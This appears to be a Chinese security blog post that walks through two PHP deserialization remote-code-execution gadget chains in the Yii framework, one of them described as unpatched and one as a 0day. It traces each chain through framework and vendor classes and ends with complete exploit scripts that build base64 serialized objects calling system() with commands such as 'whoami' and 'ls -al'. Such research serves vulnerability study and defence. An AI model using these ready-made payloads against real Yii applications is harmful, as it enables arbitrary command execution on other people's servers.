Yii框架反序列化RCE利用链2

  • A+
所属分类:安全文章

Yii框架反序列化RCE利用链2(官方无补丁)

Author:AdminTony

1.寻找反序列化点

全局搜索__wakeup函数,如下:

Yii框架反序列化RCE利用链2

Yii框架反序列化RCE利用链2

找到symfonystringUnicodeString类,其__wakeup方法中调用了normalizer_is_normalized方法。

Yii框架反序列化RCE利用链2

该方法要求传入的内容是字符串。且$this->string可控,那么只要找到一条由__toString方法构造的利用链即可。


全局搜索__toString方法,寻找可用的点,最终找到:

Yii框架反序列化RCE利用链2

($this->value)()这种形式,函数名可控,然后结合IndexAction类的run方法即可形成反序列化利用链。

Yii框架反序列化RCE利用链2

最终利用链:

yiirestIndexAction->run()
symfonystringLazyString->__toString()
symfonystringUnicodeString->string
normalizer_is_normalized()
symfonystringUnicodeString->__wakeup()

2.构造payload

  • 实例化yiirestIndexAction类,设置其$checkAccess变量、$id变量和$config变量

  • 实例化symfonystringLazyString类,设置其$value变量为IndexAction类和run方法数组

  • 实例化symfonystringUnicodeString类,设置其$string变量值为LazyString类。

最终Exp:

<?php
namespace SymfonyComponentString{
class UnicodeString{
public $string;
}
class LazyString{
public $value;
}
}
namespace yiirest{
class IndexAction{
public $id;
public $controller;
public $config;
public $checkAccess;
}
}
namespace {
//use SymfonyComponentString;
//use yiirest;
//1,'yiiwebController',['modelClass'=>'yiidbBaseActiveRecord']
$indexAction = new yiirestIndexAction();
$indexAction->id = 'whoami'; // 修改执行的函数值,如whoami
$indexAction->controller = 'yiiwebController';
$indexAction->config = ['modelClass'=>'yiidbBaseActiveRecord'];
$indexAction->checkAccess = 'system'; // 修改执行的函数名,如system
$lazyString = new SymfonyComponentStringLazyString();
$lazyString -> value =[$indexAction,"run"];
$unicodeStringObj = new SymfonyComponentStringUnicodeString();
$unicodeStringObj->string=$lazyString;
var_dump(base64_encode(serialize($unicodeStringObj)));
}

Yii框架反序列化RCE利用链2

效果如下:

Yii框架反序列化RCE利用链2


Yii框架反序列化RCE利用链3(0day)

Author:AdminTony


挖到以后,去翻了下朋友圈,发现已经有师傅在昨天晚上公开了。


1.寻找__destruct方法

寻找__destruct方法的时候主要注意几个点:

  • 该__destruct方法中是否有call_user_func($this->test,[$this->arr])或者$this->test()类型的可控函数

  • 该__destruct调用过程中,有没有$this->reader->getUser()类型的调用,此类调用有两种跳板选择方法

    • 找getUser函数,通过getUser函数找到一条代码执行利用链

    • 找__call函数,通过__call函数找到一条代码执行利用链条

  • 该__destruct调用过程中,是否能触发其他魔法函数,比如test($this->tests),test函数要求传入String类型参数时,如果我们设置的$this->tests是一个类,则会自动调用该类的__toString方法,然后从__toString找到一个反序列化利用链。


本着这几点思路,开始寻找。

vendor/codeception/codeception/ext/RunProcess.php代码片段:

Yii框架反序列化RCE利用链2

__destruct方法中调用了stopProcess方法,该方法$process可控,从而形成$this->reader->getUser()类型调用,我们可以寻找isRunning函数的代码作为跳板或者__call函数的代码执行作为跳板。

2.寻找跳板

vendor/fzaninotto/faker/src/Faker/Generator.php代码片段:

Yii框架反序列化RCE利用链2

跟进format函数:

Yii框架反序列化RCE利用链2

找到call_user_func_array,那么我们只需要让$this->getFormatter($formatter)的结果是我们指定的函数即可。

Yii框架反序列化RCE利用链2

也就是说,$this->formatters['isRunning']设置为想要执行的函数即可,而$arguments我们不可控。只能传入一个对象做函数,借助[(new test),"run"]这样的调用实现代码执行。

正则:call_user_func[_w+]*($this->[_$w]*,s*$this-

Yii框架反序列化RCE利用链2

这样的可用类只有两个IndexActionCreateAction

代码片段来源于:vendor/yiisoft/yii2/rest/IndexAction.php

Yii框架反序列化RCE利用链2

从而形成一条反序列化RCE利用链。

3.Exp编写

其实Exp编写也是一项比较有意思的活。最开始我总是在controller里面直接实例化利用链里面的几个类,发现还的分析__construct方法,看传入的值,有时候父类太多一直调用parent::__construct也是挺烦的,后来这两天看米斯特的奶权师傅直接重新定义了一个类,然后把必要的值传入其中。试了下,这个方法真的好用,再也不用管__construct方法了。


说了这么多废话,开始放EXP:

<?php
// RunProcess->stopProess ->> $process->isRunning() -->> Generator->__call ->> IndexAction->run
namespace CodeceptionExtension{
class RunProcess{
public $processes;
}
}
namespace Faker{
class Generator{
public $formatters;
}
}
namespace yiirest{
class IndexAction{
public $checkAccess;
public $id;
}
class UpdateAction{
public $checkAccess;
public $id;
}
}
namespace {
//$indexAction = new yiirestIndexAction('whoami',1,["modelClass"=>'BaseActiveRecord']);
$indexAction = new yiirestIndexAction();
$indexAction->id = 'ls -al';
$indexAction->checkAccess = 'system';
$generator = new FakerGenerator();
$generator->formatters = ["isRunning"=>[$indexAction,"run"]];
$runProcess = new CodeceptionExtensionRunProcess();
$runProcess->processes = array($generator);
//$runProcess->setProcesses(array($generator));
var_dump(base64_encode(serialize($runProcess)));
}

Yii框架反序列化RCE利用链2


发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: